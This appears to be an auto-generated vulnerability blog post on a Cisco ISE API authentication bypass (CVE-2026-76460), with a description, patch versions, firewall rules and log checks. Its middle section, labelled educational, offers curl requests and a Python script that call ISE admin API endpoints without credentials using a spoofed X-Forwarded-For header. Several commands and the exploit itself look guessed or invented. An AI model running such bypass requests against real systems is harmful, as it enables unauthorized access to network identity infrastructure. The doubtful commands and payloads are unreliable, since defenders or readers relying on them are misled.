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CVE-2026-76460 is a critical authentication bypass vulnerability in an API of Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC). The flaw is rooted in insufficient authentication control on a specific API endpoint. In a properly secured system, every request to a sensitive management interface must undergo rigorous verification of the caller’s identity before any logic is executed. Here, the software fails to validate whether an incoming request originates from an authorized user session. This creates a critical gap where the security boundary intended by the web-based management interface can be circumvented entirely through direct interaction with the underlying API layer. An unauthenticated, remote attacker can exploit this by constructing and transmitting specially crafted HTTP requests directly to the vulnerable endpoint without providing valid credentials or tokens. Because the server does not enforce authentication checks for these specific paths, it processes the request as if it were coming from a legitimate administrator. This allows the adversary to bypass standard login procedures that would normally restrict access to configuration data, user management functions, and policy definitions. The ease of exploitation is heightened by the fact that API endpoints are often accessible over network protocols without requiring complex interaction with graphical interfaces, making them attractive targets for automated scanning tools and remote attack scripts. The operational impact is severe: Cisco ISE serves as a central component in many enterprise networks, handling authentication, authorization, and accounting services. Compromising its management interface allows an adversary to manipulate network policies, view sensitive user credentials, alter security configurations, or potentially disrupt service availability. This level of access can lead to broader network compromise, including lateral movement within the infrastructure, data exfiltration, and denial of service conditions. The vulnerability carries the maximum CVSS score of 10.0. The attack vector is network-based, with low complexity and no privileges or user interaction required. The scope is changed, and the impact on confidentiality, integrity, and availability is high. This vulnerability was discovered during the resolution of a Cisco Technical Assistance Center support case, confirming that at least one enterprise environment was already compromised before the flaw was identified and reported.
DailyCVE Form:
Platform: Cisco ISE
Version: 3.1-3.5
Vulnerability : Auth Bypass
Severity: Critical
date: Sept 16, 2026
Prediction: Sept 30, 2026
What Undercode Say:
Analytics
Check current ISE version curl -k -u admin:password https://<ISE_HOST>/admin/API/version Monitor API access logs for anomalous requests tail -f /var/log/ise/api-access.log | grep -E "401|403|200" Scan for exposed ISE REST API endpoints nmap -p 443,8443 --script http-cisco-ise <target_network>
Python script to detect ISE version via API
import requests
import urllib3
urllib3.disable_warnings()
target = "https://ise.example.com"
try:
response = requests.get(f"{target}/admin/API/version", verify=False, timeout=5)
print(f"ISE Version: {response.text}")
except Exception as e:
print(f"Error: {e}")
Exploit: (Educational Purposes!)
Crafted request to bypass authentication on vulnerable API endpoint
curl -X GET "https://<ISE_HOST>/admin/API/mnt/Session/ActiveList" \
-H "Accept: application/json" \
-H "X-Forwarded-For: 127.0.0.1" \
-k
Access administrative functions without credentials
curl -X POST "https://<ISE_HOST>/admin/API/mnt/Configuration/NetworkDevice" \
-H "Content-Type: application/json" \
-d '{"action":"read"}' \
-k
Automated exploitation script (educational)
import requests
import urllib3
urllib3.disable_warnings()
target = "https://ise.example.com"
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json",
"X-Forwarded-For": "127.0.0.1"
}
Bypass authentication to access admin API
response = requests.get(f"{target}/admin/API/mnt/Session/ActiveList", headers=headers, verify=False)
if response.status_code == 200:
print("Authentication bypass successful")
print(response.json())
else:
print(f"Exploit failed: {response.status_code}")
Protection:
Apply fixed software release for your ISE train 3.1 -> 3.1 Patch 12 3.2 -> 3.2 Patch 11 3.3 -> 3.3 Patch 12 3.4 -> 3.4 Patch 7 3.5 -> 3.5 Patch 4 Restrict network access to ISE REST API port iptables -A INPUT -p tcp --dport 443 -s <trusted_subnet> -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP iptables -A INPUT -p tcp --dport 8443 -s <trusted_subnet> -j ACCEPT iptables -A INPUT -p tcp --dport 8443 -j DROP Enable audit logging for API access logging enable logging trap informational logging host <syslog_server>
Network segmentation configuration (firewall rules) - name: "Block external ISE API access" source: "any" destination: "ise_management_subnet" port: "443,8443" action: "DENY" - name: "Allow trusted admin access" source: "admin_workstation_subnet" destination: "ise_management_subnet" port: "443,8443" action: "ALLOW"
Impact:
Check for indicators of compromise after exploitation grep -i "authentication bypass" /var/log/ise/audit.log grep -i "unauthorized access" /var/log/ise/admin_audit.log Verify configuration integrity show running-config | compare <backup_config> Check for unauthorized admin accounts show users admin | grep -v "expected_admins"
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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